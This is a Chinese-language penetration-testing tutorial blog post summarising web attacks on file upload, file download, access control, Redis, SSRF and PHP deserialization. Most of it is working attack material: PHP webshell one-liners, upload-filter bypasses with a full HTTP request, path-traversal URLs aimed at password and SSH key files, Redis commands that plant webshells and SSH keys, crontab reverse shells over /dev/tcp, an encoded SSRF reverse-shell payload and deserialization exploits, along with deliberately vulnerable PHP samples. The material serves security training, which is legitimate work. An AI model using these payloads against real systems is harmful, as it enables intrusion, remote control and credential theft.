【技巧总结】Penetration Test Engineer[4]-Web-Security(文件处理、会话管理、访问控制、SSRF、反序列化漏洞)

Web安全基础2

3.8、文件处理

1)文件上传

一个正常的业务需求,问题在于控制上传合法文件。

防御文件上传

  • 客户端javascript校验(通常校验扩展名)
  • 检查MIME类型
  • 检查内容是否合法
  • 随机文件名*
  • 检查文件扩展名*
  • 隐藏路径*
  • 重写内容(影响效率)imagecreatefromjpeg...

测试方法

  • 客户端javascript校验:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包,抓包改包可绕过。直接修改前端也可以。

  • 检测MIME类型:修改MIME类型为【image/jpeg】图片头的方式绕过。

  • 检查内容是否合法:

    • 绕过方法1:test.phtml文件
  <script language="php">
      phpinfo();
  </script>
    • 绕过方法2:使用PHP输出表达式
<?=system($_REQUEST['cmd']);?>
    • 绕过方法3:将一句话Webshell与图片合并起来,命令【copy 1.jpg/b + 1.asp/a 2.jpg】,生成的2.jpg就是webshell。
  • 随机文件名*:受到业务需求限制,例如头像必须要被访问到。
  • 检查文件扩展名*:
    • 黑名单绕过方法:使用不同的后缀名
php php3、php5、phtml、PHP、pHp、phtm
jsp jspx、jspf
asp asa、cer、aspx
exe exee
    • 白名单绕过方法:
•配合文件包含漏洞:
•截断绕过:使用00截断后缀的方式,如test.php(0x00).jpg
•利用NTFS ADS特性:对Linux无效。
    上传的文件名  服务器表面现象    生成的文件内容 
    Test.php:a.jpg     生成Test.php  空 
    Test.php::$DATA  生成test.php  <?php phpinfo();?> 
    Test.php::$INDEX_ALLOCATION  生成test.php文件夹   
    Test.php::$DATA\0.jpg  生成0.jpg  <?php phpinfo();?> 
    Test.php::$DATA\aaa.jpg  生成aaa.jpg  <?php phpinfo();?> 
•配合服务器解析漏洞:
- IIS5.X~6.X解析漏洞(xx.asp;.jpg)、asp.asp目录下放图片文件
- WebDav PUT
- Apache解析漏洞
- - 低版本Apache解析文件的规则是从右到左开始判断解析。
- - 上传.htaccess文件。例如webshell名字为1.jpg,上传以下内容。就可以让apache将1.jpg当成php文件处理。
    <FilesMatch "1.jpg"> 
        SetHandler application/x-httpd-php 
    </FilesMatch>
- nginx解析漏洞(Nginx<8.03):当cgi.fix_pathinfo开启时(为1),访问www.xx.com/phpinfo.jpg/1.php,会将phpinfo.jpg当作php解析。
•配合CMS、编辑器漏洞

漏洞代码

  • 客户端javascript校验(通常校验扩展名)

<?php
function random_str($length=32){

    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $password ='';
for ( $i = 0; $i < $length; $i++ )
{
    $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}  
return $password;
}

if(isset($_FILES["file"])){
    if ($_FILES["file"]["size"] < 20000)
    {
        if ($_FILES["file"]["error"] > 0)
        {
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
        else
        {
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

            if (file_exists("upload/" . $_FILES["file"]["name"]))
            {
                echo $_FILES["file"]["name"] . " already exists. ";
            }
            else
            {
                $random_name=random_str();
                $filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));

                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $filename);
                echo "Stored in: " . "upload/" . $filename;
            }
        }
    }
    else
    {
        echo "Invalid file";
    }
}
?>
<html>
<body>
<script>
    function checkFileExt()
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];    //检查后缀名
        var filename='';

        filename=document.getElementById("file").value;

        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //循环比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true;
                break;
            }
        }
        if(flag)
        {
            document.getElementById("form").submit();
        }else
        {
            alert("文件名不合法");
        }
    }
</script>

<form action="" method="post"
      enctype="multipart/form-data" id="form">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" />
    <br />
    <input type="button" name="upload" value="upload" onclick="checkFileExt()"/>
</form>

</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>

Payload:

1、chrome修改Javascript函数
2、burpsuite直接发包
3、菜刀连接不上就用<?php @eval($_REQUEST['c']); ?>使用GET方式请求执行命令。
  • 检查MIME类型
<?php
function random_str($length=32){

    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $password ='';
for ( $i = 0; $i < $length; $i++ )
{
    $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}  
return $password;
}

// 判断上传类型
if(isset($_FILES["file"])){
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/pjpeg"))
        && ($_FILES["file"]["size"] < 20000))
    {
        if ($_FILES["file"]["error"] > 0)
        {
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
        else
        {
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

            if (file_exists("upload/" . $_FILES["file"]["name"]))
            {
                echo $_FILES["file"]["name"] . " already exists. ";
            }
            else
            {
                $random_name=random_str();
                $filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));

                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $filename);
                echo "Stored in: " . "upload/" . $filename;
            }
        }
    }
    else
    {
        echo "Invalid file";
    }
}
?>
<html>
<body>

<form action="" method="post"
      enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>

Payload:

修改content-type为:image/jpeg
  • 检查文件内容1

检查是否为“<?php”

<?php
function random_str($length=32){

    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $password ='';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

if(isset($_FILES["file"])){
    if ($_FILES["file"]["size"] < 20000)
    {
        if ($_FILES["file"]["error"] > 0)
        {
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
        else
        {
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

            if (file_exists("upload/" . $_FILES["file"]["name"]))
            {
                echo $_FILES["file"]["name"] . " already exists. ";
            }
            else
            {

                $content=file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content,"<?php")!==false){  //检查文件内容
                    die("you are a hacker! refuse to upload!");
                }

                $random_name=random_str();
                $filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));

                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $filename);
                echo "Stored in: " . "upload/" . $filename;
            }
        }
    }
    else
    {
        echo "Invalid file";
    }
}
?>
<html>
<body>

<form action="" method="post"
      enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>

Payload:

<?=system($_REQUEST['cmd']); ?>
  • 检查文件内容2

检查是否为“<?php”,或者"<?="。

<?php
function random_str($length=32){

    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $password ='';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

if(isset($_FILES["file"])){
    if ($_FILES["file"]["size"] < 20000)
    {
        if ($_FILES["file"]["error"] > 0)
        {
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
        else
        {
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

            if (file_exists("upload/" . $_FILES["file"]["name"]))
            {
                echo $_FILES["file"]["name"] . " already exists. ";
            }
            else
            {

                $content=file_get_contents($_FILES["file"]["tmp_name"]);
                //检查文件内容
                if(stripos($content,"<?php")!==false or stripos($content,"<?=")!==false){
                    die("you are a hacker! refuse to upload!");
                }

                $random_name=random_str();
                $filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));

                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $filename);
                echo "Stored in: " . "upload/" . $filename;
            }
        }
    }
    else
    {
        echo "Invalid file";
    }
}
?>
<html>
<body>

<form action="" method="post"
      enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>

Payload

使用<script language="php">标签绕过

<script language="php">
    eval($_REQUEST['cmd']);
</script>
  • 检查文件内容

使用getimagesize()函数判断是否为图片。

<?php
function random_str($length=32){

    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $password ='';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

if(isset($_FILES["file"])){
    if ($_FILES["file"]["size"] < 200000)
    {
        if ($_FILES["file"]["error"] > 0)
        {
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
        else
        {

            if (file_exists("upload/" . $_FILES["file"]["name"]))
            {
                echo $_FILES["file"]["name"] . " already exists. ";
            }
            else
            {
                // 检查是否为图片
                $file_array=getimagesize($_FILES["file"]["tmp_name"]);
                if($file_array[0]<=0||$file_array[1]<=0)
                    die("this is not a real image! abort uploading! ");

                echo "Upload: " . $_FILES["file"]["name"] . "<br />";
                echo "Type: " . $_FILES["file"]["type"] . "<br />";
                echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
                echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

                $random_name=random_str();
                $filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));

                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $filename);
                echo "Stored in: " . "upload/" . $filename;
            }
        }
    }
    else
    {
        echo "Invalid file";
    }
}
?>
<html>
<body>

<form action="" method="post"
      enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>

测试方法

上传一个真实图片,然后在图片后面加入php代码。

gif89a 
...
<?php eval($_REQUEST['c']);?>
  • 检查文件后缀

检查如果是php就无法上传。

<?php
function random_str($length=32){

    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $password ='';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

if(isset($_FILES["file"])){
    if ($_FILES["file"]["size"] < 20000)
    {
        if ($_FILES["file"]["error"] > 0)
        {
            echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
        else
        {
            echo "Upload: " . $_FILES["file"]["name"] . "<br />";
            echo "Type: " . $_FILES["file"]["type"] . "<br />";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
            echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

            if (file_exists("upload/" . $_FILES["file"]["name"]))
            {
                echo $_FILES["file"]["name"] . " already exists. ";
            }
            else
            {

                $content=file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content,"<?php")!==false){
                    die("you are a hacker! refuse to upload!");
                }
                //检查文件后缀
                if($_FILES["file"]["name"]=="php"){
                    die("you cannot upload phpfile!!");
                }

                $random_name=random_str();
                $filename=$random_name.substr($_FILES["file"]["name"],strrpos($_FILES["file"]["name"],'.'),strlen($_FILES["file"]["name"]));

                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $filename);
                echo "Stored in: " . "upload/" . $filename;
            }
        }
    }
    else
    {
        echo "Invalid file";
    }
}
?>
<html>
<body>

<form action="" method="post"
      enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

</body>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>
</html>

Payload

上传php3、php5、phtml、PHP、pHp、phtm后缀文件,组合检测内容的方法上传,HTTP数据包:



POST /upload5.php HTTP/1.1
Host: localhost
Content-Length: 345
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNtdg7SskoMrXNXo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/upload5.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=z|1535994035756; UM_distinctid=165a06110a7473-09e856e4fe79bd-47e1039-100200-165a06110a96e; CNZZDATA1261523779=665741857-1535994032-%7C1537339520
Connection: close

------WebKitFormBoundaryKNtdg7SskoMrXNXo
Content-Disposition: form-data; name="file"; filename="REQUEST.phtml"
Content-Type: application/octet-stream

<?=system($_REQUEST['cmd']);echo "\r\ntest"?>
------WebKitFormBoundaryKNtdg7SskoMrXNXo
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryKNtdg7SskoMrXNXo--

  • 检查后缀漏洞代码
<?php
#echo $_FILES["file"]["type"];
#echo $_FILES["file"]["size"];
$st = substr(strrchr($_FILES["file"]["name"], '.'), 1);
#echo $st;
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 500000)&& (($st == "gif")|| ($st=="png") || ($st=="jpg")||($st=="php3")||($st=="php4"))) //检查文件后缀
  {	 
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
  }
else
  {
  echo "Invalid file";
  }
?>

测试方法

1.创建.htaccess文件,编辑内容为:
SetHandler application/x-httpd-php
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。
2.编辑内容为:
<Files shell.jpg> 
ForceType application/x-httpd-php 
SetHandler application/x-httpd-php 
</Files>

指定文件名的文件,才能被当做PHP解析。

2)文件下载

由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件。

防御文件下载

  • 过滤.(点),使用户在url中不能回溯上级目录

  • 正则严格判断用户输入参数的格式

  • php.ini配置open_basedir限定文件访问范围

测试方法

download.php?file=../../../../../../../../etc/passwd
  • 敏感文件——Windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //Mysqlroot
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
  • 敏感文件——Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
  • 常见架构利用-配置信息(java、aspx、asp、php)
    • Java

1)tomcat-users.xml

http://www.test.cn/down.jsp?filename=tomcat-users.xml&path=C:/Program%20Files/Apache%20Software%20Foundation/Tomcat%206.0/conf/tomcat-users.xml

从下载到的tomcat-users.xml文件中取得tomcat控制台的登录账号和密码,尝试登录manager/html,上传一个war文件,就可以获得webshell。

2)web.xml

配置文件jsp的配置文件放在根目录WEB-INF/Web.xml下(一般都有很多内容,有时含有数据库连接用户名和密码等关键信息)
http://test/file.do?method=downFile&fileName=../WEB-INF/Web.xml
    • aspx

1)web.config

下载web.config文件,获得数据库密码登录数据库,利用sqlserver完成渗透。
http://www.test.org/DownLoadFileLow.aspx?FileName=../web.config
http://www.test.org/DownLoadFileLow.aspx?FileName=../../web.config

2)下载dll文件

http://www.test.com.cn/DownLoad.aspx?fileName=../../DownLoad.aspx
http://www.test.com.cn/DownLoad.aspx?fileName=../../DownLoad.aspx.cs
DownLoad.aspx对应的源代码是xkcms.webForm.DownLoad,猜解dll文件名。
http://www.test.com.cn/DownLoad.aspx?fileName=../../bin/xkcms.dll
http://www.test.com.cn/DownLoad.aspx?fileName=../../bin/webForm.dll
    • asp
1)找到网站与数据库操作的动态页面,动态页面中一般使用include包含连接数据库的配置文件。
http://www.testcn/GraduateSchool/dlsd/download.asp?filename=../../jianshen/F89A1/inc/conn.asp

2)打开该文件,获取access数据库路径。
http://www.testcn/jianshen/database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb

3)获取mdb文件
http://www.testcn/GraduateSchool/dlsd/download.asp?filename=../../jianshen/database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb

4)得到数据库中管理密码,登录后台。
    • php
1)下载数据库配置文件,获取数据库密码
www.test.edu.tw/download.php?filename=../conf/config.php&dir=/&title=config.php

2)思路1:使用phpMyAdmin进行管理,登录后台导出webshell
select 0x3c3f706870206576616c28245f504f53545b27636d64275d293f3e into dumpfile '/home/webadm/public_html/app/test.php'

3)思路2:远程连接3306端口,操作Mysql

文件下载漏洞代码

<?php
if (isset($_REQUEST['file'])) {
    $file='files/' . $_REQUEST['file'];
    if (file_exists($file)) {
        header('Content-Description: File Transfer'); //描述页面返回的结果
        header('Content-Type: application/octet-stream'); //返回内容的类型,此处只知道是二进制流。具体返回类型可参考http://tool.oschina.net/commons
        header('Content-Disposition: attachment; filename=' . basename($file));//可以让浏览器弹出下载窗口
        header('Content-Transfer-Encoding: binary');//内容编码方式,直接二进制,不要gzip压缩
        header('Expires: 0');//过期时间
        header('Cache-Control: must-revalidate');//缓存策略,强制页面不缓存,作用与no-cache相同,但更严格,强制意味更明显
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));//文件大小,在文件超过2G的时候,filesize()返回的结果可能不正确

        $content = file_get_contents($file);
        echo $content;
    } else {
        die("this file does not exist!");
    }

} else {
    echo '<a href="download.php?file=1.jpg">下载图片</a>';
}
?>
<br/><br/><br/><br/><br/><br/><br/>
<?php highlight_file(__FILE__);?>

测试方法

http://localhost/download.php?file=../download.php
http://localhost/download.php?file=../../../../etc/passwd

3.9、会话管理

    • 会话劫持
    • 会话固定

3.10、访问控制

授权方式

  • 用户有限制的访问资源
  • 基于URL的访问控制
  • 基于方法的访问控制
  • 基于数据的访问控制

测试方法

  • 非授权访问
  • 权限绕过
  • 敏感信息泄露
  • 越权操作
  • redis RCE

1)redis RCE利用方式1:写webshell

> config set dir /home/wwwroot/default/
> config set dbfilename redis.php
> set webshell "<?php phpinfo();?>"
> save

2)redis RCE利用方式2:写authorized_keys

# 生成key命令
> ssh-keygen -t rsa
# 将公钥导入foo.txt文件中
> (echo -e "\n\n";catid_rsa.pub;echo -e "\n\n") > foo.txt
# 将foo.txt文件内容写入到目标主机的缓冲中
> cat ~/.ssh/foo.txt | ./redis-cli -h 192.168.116.134 -x set crackit
# 连接目标主机的redis
> redis-cli -h 192.168.116.134

# 设置备份路径
> config set dir /root/.ssh/ 
# 输出 redis 安装目录
> config get dir
# 保存文件名
> config set dbfilename "authorized_keys"
# 将数据保存在服务器硬盘中
> save

3)redis RCE利用方式3:crontab反弹shell

# 192.168.116.134为受攻击目标

> ./redis-cli -h 192.168.116.134 flushall

> echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/8053 0>&1\n\n"|redis-cli -h 192.168.116.134 -x set 1

> ./redis-cli -h 192.168.116.134 config set dir /var/spool/cron/

> ./redis-cli -h 192.168.116.134 config set dbfilename root

> ./redis-cli -h 192.168.116.134 save

# 执行完毕后,在攻击主机执行nc命令,获取shell

> nc -lvvp 8053

越权

开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。

  • 水平越权

  • 垂直越权

3.11、SSRF

”伪造”服务器端发起的请求,从而获取客户端所不能得到的数据。

漏洞成因

三个常见的容易造成ssrf漏洞的函数

    fsockopen()
    file_get_contents()
    curl_exec()

漏洞常出现的位置

  • 分享:通过URL地址分享网页内容
  • 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。
  • 在线翻译:通过URL地址翻译成对应文本的内容。
  • 图片加载与下载:通过URL地址加载或下载图片。
  • 图片、文章收藏功能。
  • 未公开的API实现以及其他调用URL的功能。

漏洞危害

  • 可以对外网、服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序
  • 对内网Web应用进行指纹识别,通过访问默认文件实现
  • 攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(例如Struts2漏洞、SQL注入)
  • 利用协议读取本地文件(例如File://、gopher://、dict://等协议)

漏洞代码

<form action="" method="get">
    please in put the img url:<input type="text" name="url" />
    <input type="submit">
</form>
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
?>

测试方法

http://13.94.33.143:8089/index.php?url=file://flag.txt

查看源码:
file://../index.php

apache:
file:///var/www/html/index.php

nginx:
file:///usr/share/nginx/html/index.php
  • 读取目标系统中本地文件:
file://etc/passwd
  • Redis反弹shell

通过传入%0a%0d来注入换行符

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save

注意,换行符是“\r\n”,也就是“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0AaaaHTTP/1.1Host:localhostAccept:*/*Accept-Language:enUser-Agent:Mozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;Win64;x64;Trident/5.0)Connection:close

绕过方法

使用@:http://A.com@10.10.10.10 = 10.10.10.10
IP地址转换成十进制、八进制:127.0.0.1 = 2130706433
使用短地址:http://10.10.116.11 = http://t.cn/RwbLKDx
端口绕过:ip后面加一个端口
xip.io:10.0.0.1.xip.io = 10.0.0.1
        www.10.0.0.1.xip.io = 10.0.0.1
        mysite.10.0.0.1.xip.io = 10.0.0.1
        foo.bar.10.0.0.1.xip.io = 10.0.0.1
通过js跳转

示例:
1、http://172.18.0.21@127.0.0.1/flag.php
2、输入http://www.127.0.0.1.xip.io/flag.php可以绕过限制

3.12、反序列化漏洞

问题函数

解析反序列化内容的时候执行了序列化后的代码。

unserialize();

漏洞代码

<?php 
error_reporting(0); 
if(empty($_GET['code'])) die(show_source(__FILE__)); 
class example 
{ 
    var $var='123'; 

    function __destruct(){ 
        $fb = fopen('./php.php','w'); 
        fwrite($fb, $this->var); 
        fclose($fb); 
    } 
} 

$class = $_GET['code']; 
$class_unser = unserialize($class); 
unset($class_unser); 
?> 

写一个php的脚本,执行得到一串序列化后字符串,生成的代码是不会在浏览器直接显示的,需要查看源码才能看到完整内容。

<?php
class example
{
    var $var='<?php @eval($_POST[pass]);?>';//一句话木马
}
$a=new example();//顶替原来的example,从而执行destruct函数,所以名称还是要写成example
echo serialize($a);//输出序列化后的结果
?>

测试方法

http://218.2.197.236:26225/?code=O:7:"example":1:{s:3:"var";s:31:"<?php @eval($_REQUEST[pass]);?>";}

Xman 反序列化题目

漏洞代码:


hint: flag.php<?php
if(empty($_GET['code'])){
exit('?code=');
}
class FileClass{
    public $filename = 'error.log';

    public function __toString(){
        return file_get_contents($this->filename);
    }
}
class User{
    public $age = 0;  
    public $name = '';  

    public function __toString()  
    {  
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}
echo "hint: flag.php";
$obj = unserialize($_GET['code']);
echo $obj;
?>  
  

测试方法

根据题目code传参,得到flag.php,访问后得到的help.php提示了段代码,根据提示的代码构造反序列化代码:

<?php

class FileClass{ 
    public $filename = 'flag.php'; 
    public function __toString(){
         return file_get_contents($this->filename); 
        } 
    } 

$a=new FileClass();//顶替原来的FileClass,从而执行destruct函数,所以名称还是要写成FileClass
echo serialize($a);//输出序列化后的结果

?>

生成反序列化

O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}

传参后,右键查看源码拿到flag.php:

http://218.2.197.236:28835/index.php?code=O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
posted @ 2018-09-29 13:51  17bdw  阅读(492)  评论(0编辑  收藏  举报